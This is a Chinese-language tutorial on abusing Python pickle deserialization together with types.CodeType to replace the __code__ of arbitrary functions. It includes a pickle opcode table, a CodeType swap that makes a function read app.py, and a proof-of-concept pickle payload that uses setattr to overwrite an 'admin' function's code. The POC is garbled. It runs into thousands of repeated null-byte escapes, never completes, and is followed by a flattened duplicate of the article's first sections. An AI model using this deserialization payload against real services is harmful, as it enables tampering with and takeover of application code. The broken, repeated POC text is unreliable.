pickle&types.CodeType实现接管任意函数
字数 2074 2025-09-01 11:25:54

Python Pickle反序列化与types.CodeType函数接管技术详解

1. 前言

本文详细讲解如何利用Python的pickle反序列化结合types.CodeType实现函数接管的技术。这项技术可以用于动态修改Python函数的行为,实现类似Java Agent的代理功能。

2. 前置知识:Pickle指令集

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以第一个数据为callable,第二个到第n个数据为参数执行函数 o 涉及数据出栈,返回值入栈
i c和o的组合,先获取全局函数,然后组合数据为元组执行 i[module]\n[callable]\n 涉及数据出栈,返回值入栈
N 实例化一个None N 获得的对象入栈
S 实例化字符串对象 S'xxx'\n 获得的对象入栈
V 实例化UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化int对象 Ixxx\n 获得的对象入栈
F 实例化float对象 Fx.x\n 获得的对象入栈
R 选择栈上第一个对象为函数,第二个为参数(元组)调用 R 函数和参数出栈,返回值入栈
. 程序结束,栈顶元素作为pickle.loads()返回值 .
( 向栈中压入MARK标记 ( MARK标记入栈
t 寻找上一个MARK,组合之间的数据为元组 t MARK和数据出栈,元组入栈
) 向栈中直接压入空元组 ) 空元组入栈
l 寻找上一个MARK,组合之间的数据为列表 l MARK和数据出栈,列表入栈
] 向栈中直接压入空列表 ] 空列表入栈
d 寻找上一个MARK,组合之间的数据为字典(key-value对) d MARK和数据出栈,字典入栈
} 向栈中直接压入空字典 } 空字典入栈
p 将栈顶对象储存至memo pn\n
g 将memo中的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中第一个元素(属性字典)对第二个元素(对象实例)进行属性设置 b 第一个元素出栈
s 将前两个对象作为key-value对,更新到第三个对象(列表/字典)中 s 前两个元素出栈,第三个被更新
u 寻找上一个MARK,组合数据(key-value对)并更新到MARK前的字典 u MARK和数据出栈,字典被更新
a 将第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,列表被更新
e 寻找上一个MARK,组合数据并extends到MARK前的列表 e MARK和数据出栈,列表被更新

3. types.CodeType基础用法

types.CodeType是Python用于动态修改函数的核心工具,可以修改函数的__code__属性来改变函数行为。

3.1 基本示例

import types

def src():
    return open('app.py').read()

def secret():
    pass

# 获取src函数的代码对象属性
code_attrs = src.__code__.__dir__()
print(code_attrs)

# 修改secret函数的代码
secret.__code__ = types.CodeType(
    src.__code__.co_argcount,
    src.__code__.co_posonlyargcount,
    src.__code__.co_kwonlyargcount,
    src.__code__.co_nlocals,
    src.__code__.co_stacksize,
    src.__code__.co_flags,
    src.__code__.co_code,
    src.__code__.co_consts,
    src.__code__.co_names,
    src.__code__.co_varnames,
    src.__code__.co_filename,
    src.__code__.co_name,
    src.__code__.co_firstlineno,
    src.__code__.co_lnotab,
    src.__code__.co_freevars,
    src.__code__.co_cellvars
)

# 现在secret函数的行为与src相同
print(secret())  # 会输出app.py的内容

3.2 关键参数说明

  • co_code: 函数的字节码指令序列(byte类型)
  • co_consts: 函数使用的常量元组
  • co_names: 函数使用的全局变量名元组
  • co_varnames: 函数使用的局部变量名元组
  • co_filename: 函数所在的文件名
  • co_name: 函数名
  • co_lnotab: 行号与字节码偏移的映射表

4. Pickle反序列化实现函数接管

4.1 基本思路

通过pickle反序列化构造payload,利用types.CodeType动态修改目标函数的__code__属性,从而改变函数行为。

4.2 关键挑战

  1. byte类型参数传递co_code是byte类型,pickle默认不支持直接传递byte
  2. 参数顺序问题CodeType构造参数顺序与__dir__()列出的顺序不同
  3. 编码问题:使用_codecs.encode转换时需要注意编码格式

4.3 解决方案

使用_codecs.encode将Unicode字符串转换为byte,并指定latin-1编码(ISO-8859-1)避免UTF-8编码问题。

4.4 完整POC示例

import pickle
import pickletools
import types

def generate_payload():
    # 构造修改admin函数__code__的payload
    payload = b'''cbuiltins
setattr
(c__main__
admin
S'__code__'
c_types
CodeType
(I0
I0
I0
I0
I0
S''
c_codecs
encode
(S'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00
Python Pickle反序列化与types.CodeType函数接管技术详解 1. 前言 本文详细讲解如何利用Python的pickle反序列化结合types.CodeType实现函数接管的技术。这项技术可以用于动态修改Python函数的行为,实现类似Java Agent的代理功能。 2. 前置知识:Pickle指令集 | 指令 | 描述 | 具体写法 | 栈上的变化 | |------|------|----------|------------| | c | 获取一个全局对象或import一个模块 | c[module]\n[instance]\n | 获得的对象入栈 | | o | 寻找栈中的上一个MARK,以第一个数据为callable,第二个到第n个数据为参数执行函数 | o | 涉及数据出栈,返回值入栈 | | i | c和o的组合,先获取全局函数,然后组合数据为元组执行 | i[module]\n[callable]\n | 涉及数据出栈,返回值入栈 | | N | 实例化一个None | N | 获得的对象入栈 | | S | 实例化字符串对象 | S'xxx'\n | 获得的对象入栈 | | V | 实例化UNICODE字符串对象 | Vxxx\n | 获得的对象入栈 | | I | 实例化int对象 | Ixxx\n | 获得的对象入栈 | | F | 实例化float对象 | Fx.x\n | 获得的对象入栈 | | R | 选择栈上第一个对象为函数,第二个为参数(元组)调用 | R | 函数和参数出栈,返回值入栈 | | . | 程序结束,栈顶元素作为pickle.loads()返回值 | . | 无 | | ( | 向栈中压入MARK标记 | ( | MARK标记入栈 | | t | 寻找上一个MARK,组合之间的数据为元组 | t | MARK和数据出栈,元组入栈 | | ) | 向栈中直接压入空元组 | ) | 空元组入栈 | | l | 寻找上一个MARK,组合之间的数据为列表 | l | MARK和数据出栈,列表入栈 | | ] | 向栈中直接压入空列表 | ] | 空列表入栈 | | d | 寻找上一个MARK,组合之间的数据为字典(key-value对) | d | MARK和数据出栈,字典入栈 | | } | 向栈中直接压入空字典 | } | 空字典入栈 | | p | 将栈顶对象储存至memo | pn\n | 无 | | g | 将memo中的对象压栈 | gn\n | 对象被压栈 | | 0 | 丢弃栈顶对象 | 0 | 栈顶对象被丢弃 | | b | 使用栈中第一个元素(属性字典)对第二个元素(对象实例)进行属性设置 | b | 第一个元素出栈 | | s | 将前两个对象作为key-value对,更新到第三个对象(列表/字典)中 | s | 前两个元素出栈,第三个被更新 | | u | 寻找上一个MARK,组合数据(key-value对)并更新到MARK前的字典 | u | MARK和数据出栈,字典被更新 | | a | 将第一个元素append到第二个元素(列表)中 | a | 栈顶元素出栈,列表被更新 | | e | 寻找上一个MARK,组合数据并extends到MARK前的列表 | e | MARK和数据出栈,列表被更新 | 3. types.CodeType基础用法 types.CodeType 是Python用于动态修改函数的核心工具,可以修改函数的 __code__ 属性来改变函数行为。 3.1 基本示例 3.2 关键参数说明 co_code : 函数的字节码指令序列(byte类型) co_consts : 函数使用的常量元组 co_names : 函数使用的全局变量名元组 co_varnames : 函数使用的局部变量名元组 co_filename : 函数所在的文件名 co_name : 函数名 co_lnotab : 行号与字节码偏移的映射表 4. Pickle反序列化实现函数接管 4.1 基本思路 通过pickle反序列化构造payload,利用 types.CodeType 动态修改目标函数的 __code__ 属性,从而改变函数行为。 4.2 关键挑战 byte类型参数传递 : co_code 是byte类型,pickle默认不支持直接传递byte 参数顺序问题 : CodeType 构造参数顺序与 __dir__() 列出的顺序不同 编码问题 :使用 _codecs.encode 转换时需要注意编码格式 4.3 解决方案 使用 _codecs.encode 将Unicode字符串转换为byte,并指定 latin-1 编码(ISO-8859-1)避免UTF-8编码问题。 4.4 完整POC示例